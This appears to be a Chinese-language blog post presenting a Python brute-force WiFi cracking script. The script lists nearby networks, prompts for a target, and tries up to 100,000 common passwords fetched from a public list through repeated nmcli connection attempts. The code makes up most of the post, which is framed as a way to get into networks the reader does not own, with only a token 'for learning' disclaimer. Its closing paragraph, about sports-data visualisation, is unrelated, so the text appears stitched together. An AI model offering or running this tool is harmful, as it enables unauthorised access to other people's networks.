解锁WiFi密码,我只用了60行代码....

程序员宝藏库:https://github.com/Jackpopc/CS-Books-Store

WiFi现在已经遍布我们生活方方面面,如今,如论到工作单位,还是租住的房子,或者一家餐厅,随处都可以连上WiFi。

因此,我们对WiFi密码的需求也没有之前那么迫切了。

如何破解WiFi密码?

本文,将会通过Python教大家如何实现,这里纯粹是为了学习用途。

1. WiFi列表

首先,我们需要获取附近的WiFi列表。

下面,就来写一个函数来获取附近的WiFi列表,函数命名为display_targets

def display_targets(networks, security_type):     print("Select a target: \n")          rows, columns = os.popen('stty size', 'r').read().split()     for i in range(len(networks)):         width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2         spacer = " "                  if (int(columns) >= 100):             calc = int((int(columns)-int(width))*0.75)         else:                 calc = int(columns)-int(width)                  for index in range(calc):             spacer += "."             if index == (calc-1):                 spacer += " "                      print(str(i+1)+". "+networks[i]+spacer+security_type[i])

这里,我们会用到ssid工具包,用来获取附近的WiFi列表,存入到参数networks

2. 选择WiFi

获取WiFi列表之后,下一步要做的就是选择我们想要连接的WiFi,

def prompt_for_target_choice(max):     whileTrue:         try:             selected = int(input("\nEnter number of target: "))             if(selected >= 1and selected <= max):                 return selected - 1         except Exception as e:             ignore = e          print("Invalid choice: Please pick a number between 1 and " + str(max))

这里很简单,就是一些通用的Python功能。

3. 暴力破解

目前已经获取并且选择了想要连接的WiFi,那么如何获取到它的密码呢?

这里要用到一种比较常见的方式:暴力破解

这里,要用到Github上一个项目,它收集了最常用的10万个WiFi密码。我们就用着10万个密码暴力解锁WiFi即可。

def brute_force(selected_network, passwords, args):     for password in passwords:         # necessary due to NetworkManager restart after unsuccessful attempt at login         password = password.strip()          # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file         if isinstance(password, str):             decoded_line = password         else:             decoded_line = password.decode("utf-8")                      if args.verbose isTrue:             print(bcolors.HEADER+"** TESTING **: with password '" +                 decoded_line+"'"+bcolors.ENDC)          if (len(decoded_line) >= 8):             time.sleep(3)              creds = os.popen("sudo nmcli dev wifi connect " +                 selected_network+" password "+decoded_line).read()                              # print(creds)              if ("Error:"in creds.strip()):                 if args.verbose isTrue:                     print(bcolors.FAIL+"** TESTING **: password '" +                         decoded_line+"' failed."+bcolors.ENDC)             else:                 sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +                     decoded_line+"' succeeded."+bcolors.ENDC)         else:             if args.verbose isTrue:                 print(bcolors.OKCYAN+"** TESTING **: password '" +                     decoded_line+"' too short, passing."+bcolors.ENDC)      print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)

核心功能3个函数就完成了,只用了60行Python代码!

下面就把它们串联在一起:

def main():     require_root()     args = argument_parser()      # The user chose to supplied their own url     if args.url isnotNone:         passwords = fetch_password_from_url(args.url)     # user elect to read passwords form a file     elif args.file isnotNone:         file = open(args.file, "r")         passwords = file.readlines()         ifnot passwords:             print("Password file cannot be empty!")             exit(0)         file.close()     else:         # fallback to the default list as the user didnt supplied a password list         default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"         passwords = fetch_password_from_url(default_url)      # grabbing the list of the network ssids     func_call = start(1)     networks = func_call[0]     security_type = func_call[1]          ifnot networks:         print("No networks found!")         sys.exit(-1)      display_targets(networks, security_type)     max = len(networks)     pick = prompt_for_target_choice(max)     target = networks[pick]          print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")      brute_force(target, passwords, args)

执行函数,就会在命令行下显示附近的WiFi列表,选择之后就开始逐个尝试密码。

不同的颜色代表不同不同的结果:

  • 红色:测试失败
  • 绿色:破解成功
  • 紫色:测试中

现在,是不是发现这个看上去很复杂的事情变得简单许多?

结语

运动中充满了各种不同维度的数据,上述只是列举出一些我个人比较感兴趣的维度进行了分析与可视化。

希望,能够对你有所启示,能够发掘更有价值、有趣的信息,在学习和乐趣中得到最佳的实践。

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